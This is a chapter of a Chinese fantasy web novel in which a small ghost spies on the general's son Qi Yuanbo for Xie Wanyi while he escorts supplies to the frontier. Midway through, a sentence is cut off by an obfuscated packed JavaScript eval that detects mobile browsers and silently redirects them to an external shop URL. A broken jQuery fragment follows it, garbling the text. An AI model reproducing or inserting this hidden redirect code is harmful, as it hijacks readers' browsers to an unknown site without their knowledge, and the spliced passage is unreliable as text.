元启博一路上失魂落魄地回到家中,将一封已经写好的信件从装潢精致的床铺下缓缓地取了出来,那张清秀的脸庞上有一闪而过的落寞,他将那封不知道内容的信件放到了雪后阳光下,透过那一点点的阳光仔细地看着信件上的内容,良久之后才缓缓地将那封已经攥出来褶皱的信件揣进兜中。
身后张牙舞爪的小鬼魂跟着他飘了一路,现在累着倒在半空中直喘粗气,那副气鼓的庞大的身躯也渐渐因为消气而慢慢变小,变成了巴掌大的一只小鬼魂。
它在启元博身后努力地飘到半空中踮起脚尖,用那仅剩的一只眼睛滴溜溜地去瞅那信纸上的字迹,可它生前没有识过字,死后自然也看不懂,只能勉强看懂“粮食”两个字,生前家里务农的小鬼魂们都能识得。
小鬼魂一边想着自己真厉害,一边又觉得这其实没有什么大不了的,它做事情从来都是笨笨的。
正懊恼着,就发现启元博收拾好了行囊后立刻出了家门,小鬼魂唉声叹气地跟了上去,没留意到启元博回头看的那一眼。
太子府上,启元博向李晏辞端端正正地行了一礼,笔直地跪在大殿中央。
李晏辞脸上捉摸不清神情,只是微微将他搀扶起来,开口的语调有些低沉:“本宫宫中可用之人甚多,你若是在本宫这里出了差错,本宫如何向你父亲他们交代?”
启元博的父亲是上一任的护国大将军,兢兢业业护国几十年,哪怕带着一身伤病也还是坚持奉命上战场,却因为战乱时被人放暗箭而中毒身亡。
他似是也想到了以前发生的事情,眼皮微微抖了抖,随后躬身一拜,语气坚定:“殿下,此事我心意已决,说句大言不惭的话,属下自小便随父亲在边疆长大,对行军路线和边疆的战况最了解不过,本次派属下前往最为保险。”
李晏辞静静地看着他,心里不知道在考量些什么,直到启元博后背出了一层薄汗,才感觉到那道锐利的目光从自己身上移开。
“你此去万事小心,有些事情该放下的就放下,不要因为以往的事情而影响你之后的一生,尤其是在这种关头。”李晏辞低头将一件信物丢给了他,“本宫信得过你,你去挑选陪你远赴边疆的人吧,不要让本宫和皇帝失望。”
启元博见此事成了,叩首谢过李晏辞后连忙拿着太子信物带着自己信得过的人赶赴边疆。
身后的小鬼魂直接累瘫在了他的后背上,呼哧呼哧地直喘粗气,它懒得动弹,就一边附在启元博后背上,一边观察他有没有什么异样。
它趴在启元博背上,感受到他颇为不平静的心情,以为他要干什么出格的事情,瞬间心里警铃大作,纠结半天拿出了点谢晚宜事先准备好的一小块红烛放进嘴里。
蜡烛好难吃,吃完后它的眼前忽然出现了一道人影,不是真的,小鬼魂心里想,要是真的话,小姐手里的糖葫芦也该能碰到的。
谢晚宜纤细的手中拿着那枚诡异的红烛,透过烛光看到了小鬼魂那边的情况,她在心里轻轻地询问小鬼魂:“你们那边怎么样了,我让你盯着他,可有什么异常的地方呀?”
小鬼魂努力地将有些糊嘴的红烛砸吧砸吧往下咽,看不出形状的腮帮子显得鼓鼓的:“唔,我感觉到他很生气很生气,我们正在押送粮草的路上,已经走了一天一夜啦,这里一点都不好玩,四周空荡荡的。”
它偷偷抬眼瞄了眼谢晚宜身旁剩下的几串糖葫芦,险些流出口水来。
“小姐,你还剩下糖葫芦吗,一定是它们胃饿小了吃不了,你还是给我留着吧,我可爱吃啦。”
下一秒,小鬼魂火急火燎地张开嘴,忙不迭地将那块儿快被嚼烂的蜡烛块吐了出来,舌头上迅速鼓起来了一个大包。
谢晚宜隔空收回手中刚刚打完鬼的红烛,看着可怜巴巴的小鬼魂,严肃地开口道:“认真一点的小鬼魂才有糖葫芦吃,要是有小鬼魂偷懒不干事,那肯定一辈子都吃不到糖葫芦了呢。”
她表情严肃,语气也很强硬,吓得小鬼魂捂着自己被蜡烛烫伤的嘴巴呜呜地啜泣,嘴里却还是不忘念叨着自己心心念念的糖葫芦。
谢晚宜等它把绿幽幽的眼泪擦干净后,又开口警告了几句:“乖乖,答应别人的事情可是一定要仔细完成的,你现在或许还不太懂,唔,姐姐给你举个例子怎么样,比如呢,姐姐今天答应好给你一串糖葫芦了,但是姐姐突然又反悔说只让你尝一口,而且吃完以后就再也不能吃了。”
顿了顿,她隔着火烛伸出手,就仿佛穿过时空摸了摸小鬼魂光秃秃的脑袋一般:“你还会觉得开心吗?”
小鬼魂抽泣的声音小了些许,它趴在启元博宽阔的后背上思考了半天,声音透露出几分胆怯:“唔,我不会伤心的呀,姐姐,真的可以给我尝一口糖葫芦吗,我刚刚吃得太快了,没有记住糖葫芦的味道。”
谢晚宜脸上的严肃彻底维持不住了,噗嗤一声笑了出来,拿起手边放着的一串糖葫芦透过熊熊燃烧的红烛给小家伙烧了过去:“好了好了,姐姐知道你乖巧又懂事了,吃完了糖葫芦可要好好给姐姐办完事情啊。”
小鬼魂看见凭空出现的糖葫芦,连忙伸出畸形的小手将它紧紧地抓在手中,这次它吃得慢慢的,很仔细地想知道糖葫芦的味道,可一整串糖葫芦到了肚子里,也还是没有知道糖葫芦到底是什么味道,只能靠别的小鬼魂们的描述来安慰自己。
糖葫芦上面的糖汁顺着小鬼魂有些开裂的嘴唇缓缓流了下来,一滴滴落在了启元博的后背上,正在和手下交谈的启元博微微一愣,莫名感觉到背后有点动静,可伸手去摸却又什么都摸不到。
小鬼魂紧张地抱着破破烂烂的脑袋躲在他身后,看到他若无其事地笑了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347386|151928||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
笑收回手后才小小地呼了一口气。
启元博正和负责押运粮食与衣物的将士们说着话,他眉眼间不知不觉地带上了几分焦急,仿佛有什么事情无法阻止一样:“那厮手底下到底还剩多少人!”
那将士心底也着急,慌忙道:“属下派去打探的人全部都失去了行踪,公子,是不是我们的计划提前败露了?”
启元博脸上的阴狠一闪而过,那张格外清秀的脸庞变得扭曲起来:“我先带人把物资运送过去,你带着其他人在附近等着。”
“不可!老将军当年对我们兄弟们有天大恩情,我们怎么可能留您一个人去,要去也是大家伙儿一起去,况且您现在在太子麾下做事,往后的日子肯定会是一片光明。”那人劝着劝着声音便哑了下来,“我们,我们这些人都是老将军从战场上救下来的,说句难听话,我们的命早就不值钱了。公子便全了我们这份心吧。”
小鬼魂看见启元博的拳头紧紧地握在身侧,指甲都嵌进了肉里,良久他自嘲地笑了笑:“既然你们有这份心思,那便由你们带人先去,但没有我的命令,谁也不许先动手,若是有人故意置全军于危难之中,绝不轻饶。”
那些将士们向他深深地行了一礼,然后眼神决绝地看向那批护送过来的“物资”,先带着这批“物资”向着边疆行了过去。
启元博站在原地低着头沉默着,小鬼魂刚刚想往背上再爬一爬,就听到了一道沙哑得不像话的声音:“呵,这么想替我求死,我也拦不住他们,真是忠心耿耿啊,也算是没有养错狗?”
启元博笑得疯狂,捂着脸庞的指缝中却掉落出滴滴眼泪。
小鬼魂觉得启元博现在不像是一位金贵的公子,倒像是一个步入深渊孤独的旅人,又像是张牙舞爪的恶魔。
吓得小鬼魂不敢说话,只是紧紧地抓着启元博的衣服,小脸紧紧地皱巴在一起,仿佛它也能切身感受到那种无望与痛苦。
他笑了很久很久,脸上带着浓浓的厌倦与疲惫,眼神有意无意地往四周望了望,然后毅然决然地独自骑马往边疆赶去。
小鬼魂刚刚被吓得够呛,现在刚刚回过神来,连忙把那块儿被嚼过的蜡烛拿了出来,它知道这个很重要,所以刚刚哪怕被烫了个大包也没有把它丢掉。
小鬼魂用弯曲的手轻轻擦拭了一下蜡烛,谢晚宜的身影渐渐在眼前浮现。
“姐姐!出事情啦!启元博想要牺牲那群将士们,但我还不知道他为什么要这样做,呜,我是不是很笨啊?”
谢晚宜吃了一惊,没顾上安慰小鬼魂,忙让它紧紧地盯住启元博:“必要时候,我可以按古书上所说,借给你一丝那红烛的力量。”
抿了抿唇又继续说道:“你一点也不笨,你是最乖的小孩了。”
小鬼魂瞬间高兴起来,黏在启元博身上黏得更紧了。